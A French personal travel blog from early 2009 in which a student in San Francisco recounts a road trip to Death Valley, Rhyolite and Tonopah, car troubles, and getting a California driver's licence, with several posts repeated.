Le borax est utilisé dans de nombreux domaines. Il sert de retardant pour le feu, permet de traiter les bois de construction contre les insectes et champignons. Il désinfecte et peut etre utilisé comme désinfectant non chloré dans la maison (appliquer pur dans les toilettes et laisser agir, ou diluer a l'eau chaude, etc...). Sa température de fusion est de 75°C et permet d'abaisser la température de fusion des autres matériaux. Il est donc utilisé lors de la fonte du verre, etc. Chauffé, il forme une matière cristaline. Il se trouve dans la nature sous forme de poudre blanche ou de cristaux.
La Califorine assure près de 50% de la production mondiale de borax. Mais la Death Valley n'est plus utilisée comme site de production.
Le site de Badwater, plus au sud dans la vallée, montre le borax sous forme de cristaux. On peut marcher dessus. C'est tellement blanc qu'on dirait de la neige! Ce site est situé à 85m en dessous du niveau de la mer.
La Death Valley est le point le plus bas des USA.
On est ensuite remontés par le Nord sans passer par Beatty (Nevada). On voulait visiter Rhyolite avant la tombée de la nuit.
Rhyolite est une ville fantome du Nevada.
Les premières personnes à s'y installer furent les chercheurs d'or, en 1904. En 1907, la ville avait l'électricité, l'eau courante, le téléphone, une école et un hopital. Selon certaines sources, près de 10'000 personnes vivaient dans cette ville.
Seulement, en 1910, la mine d'or principale marchait "à perte". En 1911, elle fut fermée. La ville fut alors délaissée. 1000 personnes seulement vivaient là en 1911.
9 ans plus tard, en 1920, Il n'y avait plus personne. L'école a été démontée, tout a été récupéré et utilisé dans les villes voisines.
Aujourd'hui, il ne reste plus que la gare, les fondations de l'école, de la banque, de deux magasins. Une maison construite en bouteilles de bierre est encore là, à coté d'un magasin lui aussi intact.
La mine d'or est encore visible. Elle a extrait plus de 1 million de dolars de métaux précieux pendant ses 3 premières années d'exploitation. Mais au bout de ces 3 ans, sa valeur est tombée à 23$, puis à 3$! Après une expertise de la mine par un ingénieur (expertise qui fut négative), la valeur de la mine a brutalement chuté... à 75 cents! En 1911 sa valeur était de 4 cents!
On a laissé Rhyolite derrière nous pour rejoindre Tonopah, une petite ville dans les montagnes. La route s'est faite de nuit.
Arrivée à Tonopah. Il y avait de la neige sur le bord de la route. On a trouvé un motel pas très cher. 22$ la nuit par personne! A ce prix là, autant dormir au chaud.
J'ai vu un centre médical... Je me suis pas fait prier. Les oreilles qui bourdonne, un mal de gorge qui ne fait qu'augmenter, c'est pas bon signe surtout en plein désert.
Le docteur m'a prescrit des antibiotiques... Une elle angine. Les pauvres sirops de Safeway faisaient pas le poid.
Pas d'accès Internet au motel... Tant pis... A 22h30, on dormait.
jeudi 19 février 2009
Road Trip - Jour 1
Pour pas changer on a quitté San Francisco en retard... Je pense qu'on a démarré le moteur à 8h du matin, après un réveil difficile. Nous n'avons pas beaucoup dormis.
On a traversé le Bay Bridge, et pris l'autoroute 580 East. Puis direction le sudpar l'autoroute 5 South. Des paysages magnifiques. Un peu de verdure mais pas trop... C'est le désert! Je pense que c'était vert grace à la pluie des derniers jours.
Toute la descente vers le sud s'est bien passée. Les paysages se sont enchainés les uns après les autres, tous différents, et tous géniaux.
Les colines rouges, la neige sur leurs hauteurs, un peu de brouillard par endroit...
On a fait une pause au milieu de nulle part. Une aire de repos avec 4 stations essences. On était à environ 180 miles de San Francisco et 200 miles de Los Angeles.
Puis le désert, de plus en plus profond, mais "correct". Des voitures sur la route, des animaux... La cambrousse, ok, mais bon... Un peu de vie tout de même.
On a quitté la Highway 5 au niveau de Stockdale Highway, une petite autoroute menant à Bakerfield, une petite ville. De là, on a pris la Route 58 East.
Cette route est magnifique. Elle sillone dans les colines. Des champs d'éoliennes dans la neige, de l'herbe, c'était sympa. Comme la majorité des routes de "montagnes", elle passe par un col.
Après la descente de ce col on s'est retrouvés dans le vrai désert. Celui où la chaleur (même en février) se fait sentir, où les vaches sont rares, où il n'y a plus d'arbres...
Au niveau de la ville Mojave, on a récupéré la route 14 North. Elle rencontre l'autoroute US-395 un peu plus haut, après le Red Rock Canyon.
Ce canyon se trouve sur la route 14, en montant vers le nord. Il n'y a vraiment rien ici a part des pierres rouges, du sable, des cactus, et de l'herbe sèche. Mais c'est super beau. On a l'impression d'être tout petit à côté ^^.
Après la jonction de la US-395 et de la Route 14, l'impression de désert est devenue encore plus importante. On a fait le plein dans une petite station essence à 40-50 miles de Lone Pine environ. C'était la seule depuis près de 100 miles, peut-être même plus.
Quand on est repartis de la station, j'ai même dit à Tony "c'est impressionant, et même effrayant!". Ca faisait je sais plus combien de miles parcourues dans le désert à 120km/h... Sans rien. On a vu une femme avec son chien dans les bras, marcher le long de la route, laissant son 4x4 derrière elle. Panne d'essence ou simple balade? On en sait rien... Mais là, j'ai réalisé que si on avait une fuite d'essence, on était bel et bien coincés!
On a mis la musique encore plus fort... "Les Démons de Minuit", "Macumba"... Ca permet de chasser les mauvaises images de la tête.
Enfin... un panneau "Lone Pine - 22". Plus que 22 miles avant Lone Miles, ouf!
On a traversé la petite bourgade de part en part, et on s'est arrêté sur le parking d'un jardin d'enfant. Il était 16h38.
La visite de la ville est vite terminée... quelques blocs à faire et c'est deja le désert. On a trouvé un hotel moins cher que les autres, 20$ en gros par personne.
Wifi gratuit, et pareil pour le café. Tout ce qu'il nous faut!
Cette journée de conduite m'a permis de savoir 2-3 choses.
On a traversé le Bay Bridge, et pris l'autoroute 580 East. Puis direction le sudpar l'autoroute 5 South. Des paysages magnifiques. Un peu de verdure mais pas trop... C'est le désert! Je pense que c'était vert grace à la pluie des derniers jours.
Toute la descente vers le sud s'est bien passée. Les paysages se sont enchainés les uns après les autres, tous différents, et tous géniaux.
Les colines rouges, la neige sur leurs hauteurs, un peu de brouillard par endroit...
On a fait une pause au milieu de nulle part. Une aire de repos avec 4 stations essences. On était à environ 180 miles de San Francisco et 200 miles de Los Angeles.
Puis le désert, de plus en plus profond, mais "correct". Des voitures sur la route, des animaux... La cambrousse, ok, mais bon... Un peu de vie tout de même.
On a quitté la Highway 5 au niveau de Stockdale Highway, une petite autoroute menant à Bakerfield, une petite ville. De là, on a pris la Route 58 East.
Cette route est magnifique. Elle sillone dans les colines. Des champs d'éoliennes dans la neige, de l'herbe, c'était sympa. Comme la majorité des routes de "montagnes", elle passe par un col.
Après la descente de ce col on s'est retrouvés dans le vrai désert. Celui où la chaleur (même en février) se fait sentir, où les vaches sont rares, où il n'y a plus d'arbres...
Au niveau de la ville Mojave, on a récupéré la route 14 North. Elle rencontre l'autoroute US-395 un peu plus haut, après le Red Rock Canyon.
Ce canyon se trouve sur la route 14, en montant vers le nord. Il n'y a vraiment rien ici a part des pierres rouges, du sable, des cactus, et de l'herbe sèche. Mais c'est super beau. On a l'impression d'être tout petit à côté ^^.
Après la jonction de la US-395 et de la Route 14, l'impression de désert est devenue encore plus importante. On a fait le plein dans une petite station essence à 40-50 miles de Lone Pine environ. C'était la seule depuis près de 100 miles, peut-être même plus.
Quand on est repartis de la station, j'ai même dit à Tony "c'est impressionant, et même effrayant!". Ca faisait je sais plus combien de miles parcourues dans le désert à 120km/h... Sans rien. On a vu une femme avec son chien dans les bras, marcher le long de la route, laissant son 4x4 derrière elle. Panne d'essence ou simple balade? On en sait rien... Mais là, j'ai réalisé que si on avait une fuite d'essence, on était bel et bien coincés!
On a mis la musique encore plus fort... "Les Démons de Minuit", "Macumba"... Ca permet de chasser les mauvaises images de la tête.
Enfin... un panneau "Lone Pine - 22". Plus que 22 miles avant Lone Miles, ouf!
On a traversé la petite bourgade de part en part, et on s'est arrêté sur le parking d'un jardin d'enfant. Il était 16h38.
La visite de la ville est vite terminée... quelques blocs à faire et c'est deja le désert. On a trouvé un hotel moins cher que les autres, 20$ en gros par personne.
Wifi gratuit, et pareil pour le café. Tout ce qu'il nous faut!
Cette journée de conduite m'a permis de savoir 2-3 choses.
- Je suis capable de conduire 8h d'affilé et de faire 470 miles pendant ces 8 heures.
- Les limitations de vitesses américaines sont idiotes et pas respectées. C'était limité à 55mph on roulait à 65mph sur les Routes 14 et 58. Limité à 65mph on roulait à 75mph sur la US-395. Limité à 75mph sur la 5 on roulait à 85mph. Comment voulez-vous faire de telles distances avec des limitations si stupides...
- La voiture consomme dans les 6L/100km sur autoroute, il faut compter dans les 35$ pour 500 miles avec le prix du sans plomb des autoroutes (plus élevé qu'en ville, comme en France).
- La voiture n'a pas chauffé, n'a pas bronché, nickel! Elle a avalé les 470 miles sans indigestion!
- Ca fait déjà 4 choses, et plus 2-3.
- Je vais copier les photos de la journée vers ma galerie.
- Au lit!
Bientot le départ
Bon, il est 00h25, Tony et moi sommes prets à partir. Enfin, presque. Je dois encore faire mon sac, ranger mes affaires, tout vérifier... Bref, je suis pas couché.
On pense partir vers 7h15 du matin et arriver on sait pas quand.
Demain sera la journée la plus dure, car on va se taper près de 500 miles de routes!
On a un peu revu notre plan.
Au départ on devait passer par le sud de la base militaire de Groomlake (zone 51) maint en fin de compte on va la contourner par le nord en passant par Rachel et Alamo, deux petites villes.
En plus, Ken ne peut pas venir faute d'argent. Paquito non plus car il a chopé une belle angine et est sous antibios jusqu'à Dimanche.
Paquito compte nous rejoindre Dimanche à Las Vegas.
On se retrouve donc, Tony et moi, à devoir partager des frais élevés, en particulier ceux liés aux motels!
Afin d'économiser et de tomber en dessous des 200$/personne pour cette première partie du voyage, ben, nous allons sacrifier deux nuits d'hotel.
Jeudi soir, on dormira dans la voiture juste avant l'entrée du parc de la Vallée de la Mort.
Ensuite, Vendredi, on traverse la vallée et on dort à Beatty afin de récupérer un max.
Samedi, on part pour la Zone 51 par le nord. On dormira proche de la base dans la voiture.
Dimache, on est à Las Vegas, et on avise!
Je compte prendre un maximum de photos et les mettre sur ma galerie.
J'ai donc fais de la place sur ma carte mémoire...
120 photos de plus sont disponibles dans ma galerie. Enjoy!
On pense partir vers 7h15 du matin et arriver on sait pas quand.
Demain sera la journée la plus dure, car on va se taper près de 500 miles de routes!
On a un peu revu notre plan.
Au départ on devait passer par le sud de la base militaire de Groomlake (zone 51) maint en fin de compte on va la contourner par le nord en passant par Rachel et Alamo, deux petites villes.
En plus, Ken ne peut pas venir faute d'argent. Paquito non plus car il a chopé une belle angine et est sous antibios jusqu'à Dimanche.
Paquito compte nous rejoindre Dimanche à Las Vegas.
On se retrouve donc, Tony et moi, à devoir partager des frais élevés, en particulier ceux liés aux motels!
Afin d'économiser et de tomber en dessous des 200$/personne pour cette première partie du voyage, ben, nous allons sacrifier deux nuits d'hotel.
Jeudi soir, on dormira dans la voiture juste avant l'entrée du parc de la Vallée de la Mort.
Ensuite, Vendredi, on traverse la vallée et on dort à Beatty afin de récupérer un max.
Samedi, on part pour la Zone 51 par le nord. On dormira proche de la base dans la voiture.
Dimache, on est à Las Vegas, et on avise!
Je compte prendre un maximum de photos et les mettre sur ma galerie.
J'ai donc fais de la place sur ma carte mémoire...
120 photos de plus sont disponibles dans ma galerie. Enjoy!
mercredi 18 février 2009
February Road Trip
Voila, je vais enfin pouvoir utiliser la voiture, réellement!
Pour le moment, seule une petite partie du voyage est prévue. En effet, Tony ne peut pas rester avec nous (Ken, Paquito et moi) jusqu'au bout et nous laisse à Las Vegas d'où il prendra un avion pour rentrer sur San Francisco.
On compte partir jeudi 19 février, le plus tot possible, de San Francisco.
Notre première destination est une petite ville située juste avant la Death Valley (Vallée de la Mort). Lone Pine, c'est son nom, est située à 470 miles de San Francisco.
Ces 470 miles sont valables en hiver. En été, on peut couper par le Parc du Yosemite mais les routes sont fermées l'hiver à cause de la neige.
Arrivée à Lone Pine le soir, on dort au motel.
Vendredi matin on part pour le Nevada. On traverse donc la Death Valley, afin de se rendre soit à Beatty, soit à Indian Spring, deux villes du Nevada, situées à 50 miles environ de la base militaire de Groom Lake, principalement connue sous le nom de Zone 51!
On dort donc dans un motel, soit à Beatty soit à Indian Spring.
Samedi, on essaye de se rapprocher de la base. Les routes ne sont pas visibles sur le GPS (Microsoft Streets and Trips 2009). La journée risque plus de ressembler à un jeu de pistes qu'à une balade tourstique pure... Faut se trouver une carte du Nevada, obligatoirement!
Notre but, à Tony et moi, et de trouver un point de vue sur la base, ainsi que sur les lieux de tests nucléaires. Car cette région a été utilisée par l'armée pour faire des tests d'armes atomiques pendant la guerre droide.
Qui c'est, on verra peut être une soucoupe spatiale!
Samedi soir, on va sur Las Vegas, où on y dort.
Dimanche on visite la ville. La majorité des animations se font le soir.
On dort une deuxième nuit à Las Vegas.
Lundi matin, on se dirige vers l'Est. On passe la frontière de l'Arizona par le barrage Hoover Dam qui alimente Las Vegas en électricité. Une fois passé le fleuve Colorado, on se retrouve dans l'Arizona. On continue vers l'Est pour atteindre la ville de Meadview, proche du Grand Canyon, qu'on voit donc lundi.
On rentre ensuite sur Las Vegas afin de ramener Tony à l'aéroport pour 20h maximum, il décolle à 22h.
Le voyage ne s'arrête pas la. Reste a voir ce qu'on fait ensuite.
Il est presque 3h du matin, tout le monde est au lit et je fais quelques calculs...
Sans compter le samedi, on est à 1060 miles soit 1700km.
Je dis "sans compter le samedi" car on ne sait pas combien de temps va durer notre recherche de la base, ni combien de miles on va parcourir.
Voila un screenshot de la première partie du voyage, vu sous Microsoft Streets and Trips.
Que dire de plus... Je sais pas trop...
Ah si, je sais!
1000 miles... Vous savez ce que ca fait? Avez-vous une idée de cette distance?
Ca correspond à 1600km, ok... Mais on a du mal à s'imaginer de telles distances.
Voilà de quoi comparer :
Perpignan - Calais => 1135km => 705 miles
Nice - Brest => 1440km => 895 miles
Je pense que d'ici la fin du trajet on devrait attendre les 2500 miles, au moins. Soit 4025 km!
Ce sont les données que me donne le GPS.
A vol d'oiseau :
Madrid - Moscou => 2135 miles => 3440km
Paris - Bagdad => 2415 miles => 3890km
Paris - Teheran => 2630 miles => 4230km
On va en faire, du chemin...
Je compte prendre un max de photos!
Si j'ai Internet lors du trajet, je les posterai au fur et à mesure.
Pour le moment, seule une petite partie du voyage est prévue. En effet, Tony ne peut pas rester avec nous (Ken, Paquito et moi) jusqu'au bout et nous laisse à Las Vegas d'où il prendra un avion pour rentrer sur San Francisco.
On compte partir jeudi 19 février, le plus tot possible, de San Francisco.
Notre première destination est une petite ville située juste avant la Death Valley (Vallée de la Mort). Lone Pine, c'est son nom, est située à 470 miles de San Francisco.
Ces 470 miles sont valables en hiver. En été, on peut couper par le Parc du Yosemite mais les routes sont fermées l'hiver à cause de la neige.
Arrivée à Lone Pine le soir, on dort au motel.
Vendredi matin on part pour le Nevada. On traverse donc la Death Valley, afin de se rendre soit à Beatty, soit à Indian Spring, deux villes du Nevada, situées à 50 miles environ de la base militaire de Groom Lake, principalement connue sous le nom de Zone 51!
On dort donc dans un motel, soit à Beatty soit à Indian Spring.
Samedi, on essaye de se rapprocher de la base. Les routes ne sont pas visibles sur le GPS (Microsoft Streets and Trips 2009). La journée risque plus de ressembler à un jeu de pistes qu'à une balade tourstique pure... Faut se trouver une carte du Nevada, obligatoirement!
Notre but, à Tony et moi, et de trouver un point de vue sur la base, ainsi que sur les lieux de tests nucléaires. Car cette région a été utilisée par l'armée pour faire des tests d'armes atomiques pendant la guerre droide.
Qui c'est, on verra peut être une soucoupe spatiale!
Samedi soir, on va sur Las Vegas, où on y dort.
Dimanche on visite la ville. La majorité des animations se font le soir.
On dort une deuxième nuit à Las Vegas.
Lundi matin, on se dirige vers l'Est. On passe la frontière de l'Arizona par le barrage Hoover Dam qui alimente Las Vegas en électricité. Une fois passé le fleuve Colorado, on se retrouve dans l'Arizona. On continue vers l'Est pour atteindre la ville de Meadview, proche du Grand Canyon, qu'on voit donc lundi.
On rentre ensuite sur Las Vegas afin de ramener Tony à l'aéroport pour 20h maximum, il décolle à 22h.
Le voyage ne s'arrête pas la. Reste a voir ce qu'on fait ensuite.
Il est presque 3h du matin, tout le monde est au lit et je fais quelques calculs...
Sans compter le samedi, on est à 1060 miles soit 1700km.
Je dis "sans compter le samedi" car on ne sait pas combien de temps va durer notre recherche de la base, ni combien de miles on va parcourir.
Voila un screenshot de la première partie du voyage, vu sous Microsoft Streets and Trips.
Que dire de plus... Je sais pas trop...
Ah si, je sais!
1000 miles... Vous savez ce que ca fait? Avez-vous une idée de cette distance?
Ca correspond à 1600km, ok... Mais on a du mal à s'imaginer de telles distances.
Voilà de quoi comparer :
Perpignan - Calais => 1135km => 705 miles
Nice - Brest => 1440km => 895 miles
Je pense que d'ici la fin du trajet on devrait attendre les 2500 miles, au moins. Soit 4025 km!
Ce sont les données que me donne le GPS.
A vol d'oiseau :
Madrid - Moscou => 2135 miles => 3440km
Paris - Bagdad => 2415 miles => 3890km
Paris - Teheran => 2630 miles => 4230km
On va en faire, du chemin...
Je compte prendre un max de photos!
Si j'ai Internet lors du trajet, je les posterai au fur et à mesure.
vendredi 6 février 2009
Suppression de mon post sur SUPINFO
Suite à la réception d'un certain mail, j'ai décidé de supprimer mon post sur SUPINFO.
Je tiens cependant à remercier tous ceux qui ont posté leurs commentaires, en particuelier ceux qui ont eu le courrage de se logger et d'apparaître sous leur vrai nom (ou pas).
Merci aussi à ceux qui ont posté de manière anonyme.
Voilà ce qui se passe lorqu'on souhaite dire ce qu'on pense.
Je tiens cependant à remercier tous ceux qui ont posté leurs commentaires, en particuelier ceux qui ont eu le courrage de se logger et d'apparaître sous leur vrai nom (ou pas).
Merci aussi à ceux qui ont posté de manière anonyme.
Voilà ce qui se passe lorqu'on souhaite dire ce qu'on pense.
samedi 31 janvier 2009
Moi, Les Voitures, Et Leurs Bateries
Ceux qui me connaissent savent à quel point j'aime les bateries de voiture, et à quel point elles me rendent cet amour...
Tout à commencé un matin de vendanges, lorsqu'une Renault Laguna de 1999 a décidé de ne pas démarrer... Plus de baterie...
Puis, la voiture de Sylvie, qu'elle m'a prété pendant les vacances de Noël... Problèmes électriques, baterie ne se chargeant plus... Renault 19.
Enfin, ce fut le tour d'une autre Relault 19, celle d'Evelyne. Heureusement, c'était juste un problème de cosses mal serrées.
Bon... Je sais j'ai pas de chance... Mais ça arrive! Jusqu'à aujourd'hui, j'ai préféré me dire "c'est pas grave, ce sont que les Renaults, n'en conduit plus de ta vie et ça ira".
FAUX!
J'étais dans une agence immobilière ce soir. Comme je ne savais pas si j'avais le droit de me garrer sur le bord de la rue, j'ai laissé mes phares et mes warnings, avec une personne dans la voiture.
Je ressors à peine 10 minutes plus tard et en rentrant dans la voiture, j'ai entendu que les warnings n'étaient pas réguliers... "Bof, pas grave... elle a 11 ans!"
Loupé! Au momet de démarrer, impossible de lancer le moteur.
Du traffic, un feu un peu plus bas dans la pente, pas suffisant pour la démarrer en descente.
Un parking légèrement à droite, ben here we go!
Je rappelle mes nouveaux futur collocataires qui n'étaient pas encore rentrés dans leur bus. Ils m'aident à pousser la voiture dans le parking.
On essaye de la pousser pour la faire démarrer...
Impossible.
Du coup ma voiture se trouve toujours dans ce parking, entre Quitara et Rivera sur la 19th Avenue.
Cool hein?
Tout à commencé un matin de vendanges, lorsqu'une Renault Laguna de 1999 a décidé de ne pas démarrer... Plus de baterie...
Puis, la voiture de Sylvie, qu'elle m'a prété pendant les vacances de Noël... Problèmes électriques, baterie ne se chargeant plus... Renault 19.
Enfin, ce fut le tour d'une autre Relault 19, celle d'Evelyne. Heureusement, c'était juste un problème de cosses mal serrées.
Bon... Je sais j'ai pas de chance... Mais ça arrive! Jusqu'à aujourd'hui, j'ai préféré me dire "c'est pas grave, ce sont que les Renaults, n'en conduit plus de ta vie et ça ira".
FAUX!
J'étais dans une agence immobilière ce soir. Comme je ne savais pas si j'avais le droit de me garrer sur le bord de la rue, j'ai laissé mes phares et mes warnings, avec une personne dans la voiture.
Je ressors à peine 10 minutes plus tard et en rentrant dans la voiture, j'ai entendu que les warnings n'étaient pas réguliers... "Bof, pas grave... elle a 11 ans!"
Loupé! Au momet de démarrer, impossible de lancer le moteur.
Du traffic, un feu un peu plus bas dans la pente, pas suffisant pour la démarrer en descente.
Un parking légèrement à droite, ben here we go!
Je rappelle mes nouveaux futur collocataires qui n'étaient pas encore rentrés dans leur bus. Ils m'aident à pousser la voiture dans le parking.
On essaye de la pousser pour la faire démarrer...
Impossible.
Du coup ma voiture se trouve toujours dans ce parking, entre Quitara et Rivera sur la 19th Avenue.
Cool hein?
Premier calcul de consommation
Bon et bien voilà, j'ai fait un plein avec ma voiture (le 2ème) et j'ai donc fait un petit calcul de consommation...
ATTENTION: CE POST PEUT SE REVELER DENGEUREUX POUR LES FRANCAIS RADINS ET CARDIAQUES ^^
10 gallons, à 212 cents par gallon... Soit 21$ le plein! Moins de 17€!
Ce qui fait 38 Litres. Oui, je sais, j'ai un petit réservoir.
260 miles parcourues. Soit dans les 420km.
Donc 25 miles par gallon.
Soit 420km pour 38 litres.
38 litres pour 420km.
?? litres pour 100km.
?? = (38 * 100) / 420
Moins de 9 litres pour 100km... Je dis mois car je sais que j'ai fait légerement plus de 260 miles, et que j'ai mis moins de 9 gallons...
Bref, dans les 9L/100km en moyenne (autoroute + ville).
Faut aussi replacer la chose dans son contexte... Elle fait 150cv, j'aime bien les accélérations, et je suis à San Francisco... Pas en Belgique! Ca monte beaucoup ici, et pas qu'un peu!
J'ai toujours pas fait les tests d'accélération car j'ai pas encore le matos ni la tête à ca, mais ca viendra!
ATTENTION: CE POST PEUT SE REVELER DENGEUREUX POUR LES FRANCAIS RADINS ET CARDIAQUES ^^
10 gallons, à 212 cents par gallon... Soit 21$ le plein! Moins de 17€!
Ce qui fait 38 Litres. Oui, je sais, j'ai un petit réservoir.
260 miles parcourues. Soit dans les 420km.
Donc 25 miles par gallon.
Soit 420km pour 38 litres.
38 litres pour 420km.
?? litres pour 100km.
?? = (38 * 100) / 420
Moins de 9 litres pour 100km... Je dis mois car je sais que j'ai fait légerement plus de 260 miles, et que j'ai mis moins de 9 gallons...
Bref, dans les 9L/100km en moyenne (autoroute + ville).
Faut aussi replacer la chose dans son contexte... Elle fait 150cv, j'aime bien les accélérations, et je suis à San Francisco... Pas en Belgique! Ca monte beaucoup ici, et pas qu'un peu!
J'ai toujours pas fait les tests d'accélération car j'ai pas encore le matos ni la tête à ca, mais ca viendra!
samedi 24 janvier 2009
Mauvais temps...
Ben voilà... Ce qui devait arriver arriva...
Depuis le 5 janvier on avait des températures superbes, avec un beau soleil, tous les jours...
Se lever le matin avec un ciel bleu, partir en cours en T-Shirt, faire des aprèms à la plage...
Sauf que ce temps n'est pas normal pour un mois de Janvier. Normalement, les températures devraient tourner autour de 5° le matin, et monter à 15° l'après midi. Or, nous avons eu des 15° le matin et des 25° l'après midi... Pendant 17 jours exactement!
Maintenant, il pleut... ou il y a un brouillard tellement dense qu'on est trempés en rentrant chez sois... Et il fait entre 5° et 12°.
Bon, ok, c'est mieux qu'en France... Mais... Ca fait rager...
Depuis le 5 janvier on avait des températures superbes, avec un beau soleil, tous les jours...
Se lever le matin avec un ciel bleu, partir en cours en T-Shirt, faire des aprèms à la plage...
Sauf que ce temps n'est pas normal pour un mois de Janvier. Normalement, les températures devraient tourner autour de 5° le matin, et monter à 15° l'après midi. Or, nous avons eu des 15° le matin et des 25° l'après midi... Pendant 17 jours exactement!
Maintenant, il pleut... ou il y a un brouillard tellement dense qu'on est trempés en rentrant chez sois... Et il fait entre 5° et 12°.
Bon, ok, c'est mieux qu'en France... Mais... Ca fait rager...
dimanche 18 janvier 2009
Re bonjour
Suite à la mort de mon serveur (paix à son âme)... J'ouvre un nouveau blog ici.
Toutes les données de mon ancien serveur sont encore sur le disque dur mais étant à 9'000 miles...
Bref!
Me revoilà, avec quelques infos sympa ^^
1ère info:
J'ai une voiture! Une Dodge Neon de 1998, modèle 2 portes, version sport. 150 cv, boite manuelle.
Merci maman pour ca!
Je n'ai pas encore eu le temps de vraiment bien la tester, mais ce que je peux dire c'est que je grille très facilement les gros 4x4 des ricains aux feux rouges de Sunset Boulevard!
J'ai commandé une interface ODBII - Bleutooth sur le Net pour avoir plus d'infos sur le moteur en roulant, mais je compte aussi me faire préter une WiiMote pour calculer les accélérations, vitesses, et distances de freinage grace à son G-mètre.
2ème info:
J'ai mon permis californien!
L'autre jour je suis allé au bureau du DMV à Walnut Creek (moins de monde qu'à San Francisco) et j'ai passé l'examen théorique et de vision.
Vous voulez avoir votre permis américain? Très simple! Présentez-vous au bureau du DMV le plus proche, demandez le formulaire pour le Class C Driver License, remplissez-le, rendez-le.
On va ensuite vous demander dans quelle langue vous voulez avoir les questions. Perso, j'ai demandé en francais.
On vous prend en photo, on vérifie votre passeport, on prend vos empreintes, et vous vous isolez pour passer l'épreuve théorique. 36 questions sur le code, et une dizaine sur les panneaux. Un conseil, lisez un peu le Californian Driver Handbook avant de vous lancer...
Vous avez droit à 6 erreurs la première fois que vous vous présentez, puis 3 fautes la 2ème et 3ème fois.
Vous avez fait plus de 6 erreurs la première fois (c'est mon cas... Je connaissais pas vraiment le Handbook... Ca faisait 3 mois que je l'avais pas ouvert ^^) ? C'est pas grave. Demandez à le repasser dessuite, ça contera encore pour la première fois et vous aurez droit à 6 erreurs!
Là, j'ai fait 4 fautes, dont une idiote...
"Vous devez notifier le DMV 5 jours maximum après :
A - un accident.
B - une infraction au code de la route.
C - la vente ou le transfert d'un véhicule"
Je savais que c'était la réponse C, et j'ai mal répondu... J'ai coché la mauvaise case.
Ah, oui... Les questions se présentent sous la forme d'un questionnaire à choix multiples. Trois réponses à chaque fois, une seule possible. Les cases se trouvent à droite du formulaire, mais ne sont pas reliées aux questions ( - - - - - ou .......... ). J'ai donc confondu les cases ^^
Après ça, vous avez un permis provisoire, valable pendant 3 mois. Vous avez un examen pratique à passer dans ces 3 mois. Vous devez prendre RDV sur Internet et vous présentez avec votre voiture ou celle d'un amis, mais cette voiture doit être enregistrée auprès de la DMV et assurée. Les deux rétroviseurs doivent être présents, et tout doit fonctionner à bord (sauf le poste, on s'en fout ^^).
Je n'ai pas encore pris RDV... J'ai le temps, et plus important à faire.
3ème info:
Nous sommes le 18 janvier, et on est tous en T-Shirt!
Ce soir on est allé faire une BBQ sur la plage, pour vous dire! Bon... Ok, on avait nos vestes.
Finalement on s'est fait virés car on avait un pac de bierres et qu'on faisait un feu. En effet, l'alcool est interdit sur la plage, et les feux interdit ce soir là car nous étions un jour où l'air était soit disant polué...
Sinon à part ça... Mes vacances de Noël en France se sont super bien passées. Il a fait froid mais on s'y fait ^^.
Le vol retour Montpellier - Paris était bien marrant, surtout l'atterrissage sur piste gelée... Le fait de sentir l'avion dans lequel on se trouve déraper vers la gauche, puis la droite, puis encore la gauche, droite, etc, jusqu'à l'arrêt de l'appareil en bout de piste... Enorme!
Lundi, ici, c'est férié. Martin Luther King's Day. Pas cours, je vais donc en profiter pour faire un tour à Walnut Creek chez le mécano pour régler cette histoire de voyant "Engine Servive Soon". Après ça je vais devoir rouler 50 miles minimum pour réinitialiser l'ordinateur de bord, puis passer le test SMOG (test de polution), puis enregistrer la voiture à la DMV. Autant dire que j'ai de quoi faire!
Je dois également trouver un autre appart...
Bref... Les cours, la voiture, l'appart, les vacances de février... Ca en fait des choses auxquelles il faut penser. L'avantage c'est que, ben... Je m'ennuis pas! J'ai largement de quoi m'occuper l'esprit!
Sur ces belles paroles, je vous souhaite une bonne journée (nuit pour moi), et une bonne lecture sur mon nouveau blog.
Ah, oui... Mes photos sont à nouveau disponibles sur Picasa Web et à jour, avec des photos (de nuit) de ma voiture.
Tcho!
Toutes les données de mon ancien serveur sont encore sur le disque dur mais étant à 9'000 miles...
Bref!
Me revoilà, avec quelques infos sympa ^^
1ère info:
J'ai une voiture! Une Dodge Neon de 1998, modèle 2 portes, version sport. 150 cv, boite manuelle.
Merci maman pour ca!
Je n'ai pas encore eu le temps de vraiment bien la tester, mais ce que je peux dire c'est que je grille très facilement les gros 4x4 des ricains aux feux rouges de Sunset Boulevard!
J'ai commandé une interface ODBII - Bleutooth sur le Net pour avoir plus d'infos sur le moteur en roulant, mais je compte aussi me faire préter une WiiMote pour calculer les accélérations, vitesses, et distances de freinage grace à son G-mètre.
2ème info:
J'ai mon permis californien!
L'autre jour je suis allé au bureau du DMV à Walnut Creek (moins de monde qu'à San Francisco) et j'ai passé l'examen théorique et de vision.
Vous voulez avoir votre permis américain? Très simple! Présentez-vous au bureau du DMV le plus proche, demandez le formulaire pour le Class C Driver License, remplissez-le, rendez-le.
On va ensuite vous demander dans quelle langue vous voulez avoir les questions. Perso, j'ai demandé en francais.
On vous prend en photo, on vérifie votre passeport, on prend vos empreintes, et vous vous isolez pour passer l'épreuve théorique. 36 questions sur le code, et une dizaine sur les panneaux. Un conseil, lisez un peu le Californian Driver Handbook avant de vous lancer...
Vous avez droit à 6 erreurs la première fois que vous vous présentez, puis 3 fautes la 2ème et 3ème fois.
Vous avez fait plus de 6 erreurs la première fois (c'est mon cas... Je connaissais pas vraiment le Handbook... Ca faisait 3 mois que je l'avais pas ouvert ^^) ? C'est pas grave. Demandez à le repasser dessuite, ça contera encore pour la première fois et vous aurez droit à 6 erreurs!
Là, j'ai fait 4 fautes, dont une idiote...
"Vous devez notifier le DMV 5 jours maximum après :
A - un accident.
B - une infraction au code de la route.
C - la vente ou le transfert d'un véhicule"
Je savais que c'était la réponse C, et j'ai mal répondu... J'ai coché la mauvaise case.
Ah, oui... Les questions se présentent sous la forme d'un questionnaire à choix multiples. Trois réponses à chaque fois, une seule possible. Les cases se trouvent à droite du formulaire, mais ne sont pas reliées aux questions ( - - - - - ou .......... ). J'ai donc confondu les cases ^^
Après ça, vous avez un permis provisoire, valable pendant 3 mois. Vous avez un examen pratique à passer dans ces 3 mois. Vous devez prendre RDV sur Internet et vous présentez avec votre voiture ou celle d'un amis, mais cette voiture doit être enregistrée auprès de la DMV et assurée. Les deux rétroviseurs doivent être présents, et tout doit fonctionner à bord (sauf le poste, on s'en fout ^^).
Je n'ai pas encore pris RDV... J'ai le temps, et plus important à faire.
3ème info:
Nous sommes le 18 janvier, et on est tous en T-Shirt!
